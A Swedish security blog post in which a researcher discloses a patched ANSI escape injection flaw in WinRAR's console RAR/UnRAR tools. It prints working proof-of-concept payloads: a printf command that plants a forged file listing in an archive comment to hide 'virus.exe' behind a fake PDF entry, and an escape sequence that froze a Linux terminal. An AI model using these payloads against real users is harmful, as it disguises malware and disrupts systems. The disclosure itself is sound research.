Fagblogg | NetSecurity

ANSI Escape Injection sårbarhet i WinRAR

Skriven av Siddharth Dushantha | 2024-okt-03 14:09:15

Översikt över uppdateringen

Den 28 februari 2024 släppte RARLAB en uppdatering för WinRAR, som åtgärdade en sårbarhet för ANSI escape-injektion som jag hade hittat i konsolversionerna av RAR och UnRAR, som påverkade version 6.24 och tidigare. Denna sårbarhet, som spåras som CVE-2024-33899 för Linux- och Unix-system och CVE-2024-36052 för Windows, gjorde det möjligt för angripare att förfalska fillistan eller utföra en lokal serviceattack (endast Linux och Unix).

I det här inlägget kommer jag att gå igenom hur den här sårbarheten fungerar och demonstrera ett bevis på koncept. Även om jag demonstrerar detta på ett Linux-system kan samma sak göras på ett Windows- eller Unix-system.

Bakgrund

Om du är bekant med kommandoraden i Linux, Unix eller Windows kanske du känner till program som Vim och Neofetch. Dessa program använder ANSI escape-sekvenser för att ändra text och bakgrundsfärg, styra markören och skapa grafiska gränssnitt i terminalen.

Även om ANSI-escape-sekvenser kan användas för att skapa häftiga program för terminalen kan de också användas för skadliga program, vilket framgår av Stok Fredriks DEFCON-föreläsning.

WinRAR erbjuder konsol RAR och UnRAR som kan användas för att skapa och extrahera RAR-arkiv. Som framgår av bilden nedan har RAR-filer stöd för kommentarer, som visas när innehållet i arkivfilen listas med hjälp av unrar l demo.rar.

 

För att kontrollera om ANSI-escape-sekvenser filtreras bort eller inte i kommentarsfältet kan vi använda en enkel nyttolast som visar `THIS IS GREEN` i färgen grön.

printf 'Hello \033[32mTHIS IS GREEN\033[0m\007' | rar c demo.rar

 

När vi kör rar l demo.rar kan vi se att THIS IS GREEN skrivs ut i grönt. Detta visar att kommentarsfältet inte filtrerar ANSI-escape-sekvenser i utdata.

 

Utnyttjande

Sårbarheten kan utnyttjas på många olika sätt, men vi kommer att använda en attack som är lämplig för WinRAR som en demonstration.

Först lägger vi in filen virus.exe i en rar-fil :

$ ls

virus.exe

$ rar a demo.rar virus . exe

 

Sedan lägger vi till följande nyttolast i kommentarsfältet:

printf 'Arkiv: demo.rar\nDetaljer: RAR 5\n\nAttribut Storlek Datum Tid Namn\n----------- --------- ---------- ----- ---------\n-rw-r--r-- 7 2024-05-19 16:26 notvirus.pdf\n----------- --------- ---------- ----- ---------\n7 1\e[8m' | rar c demo.rar

 

 

Den här nyttolasten innehåller en falsk lista där virus.exe ersätts med notvirus.pdf. ANSI-escape-sekvensen \e[8m används för att dölja allt innehåll efter kommentaravsnittet i utdata. Resultatet är att den faktiska filposten är dold och att vår falska filpost visas. I skärmdumpen nedan kan du se ett stort gap mellan utdata och skalprompten. Detta gap beror på att den ursprungliga fillistan skrivs ut, men görs osynlig med hjälp av \e[8m. Erfarna kommandoradsanvändare kan tycka att detta är misstänkt, men mindre erfarna användare kan lätt bli lurade.

Som nämnts finns det två CVE:er kopplade till denna sårbarhet eftersom den är betydligt allvarligare på Linux- och Unix-system jämfört med Windows. Detta beror på att vissa ANSI escape-sekvenser kan användas för att uppnå en lokal serviceattack på Linux- och Unix-system.

Nyttolasten nedan, som är hämtad från Stok Fredriks Black Hat-bilder, fångar alla markörrörelser och skriver ut koordinaterna till terminalen. Detta fungerar bara på Linux- och Unix-system. När det testades på en Kali Linux VM skickades markörens koordinater ut till terminalen och VM:n frystes senare.

 

\033[ ?1001h\033[?1002h\033[?1003h\033[?1004h\033[?1005h\033[?1006h\033[?1007h\033[?1015h\033[?10016h\

 

Även om det finns begränsad forskning om ANSI-escape-sekvenser är det tydligt att angripare med en djup förståelse för ANSI-escape-sekvenser kan utnyttja dem på ett kreativt, skadligt och ibland till och med irriterande sätt.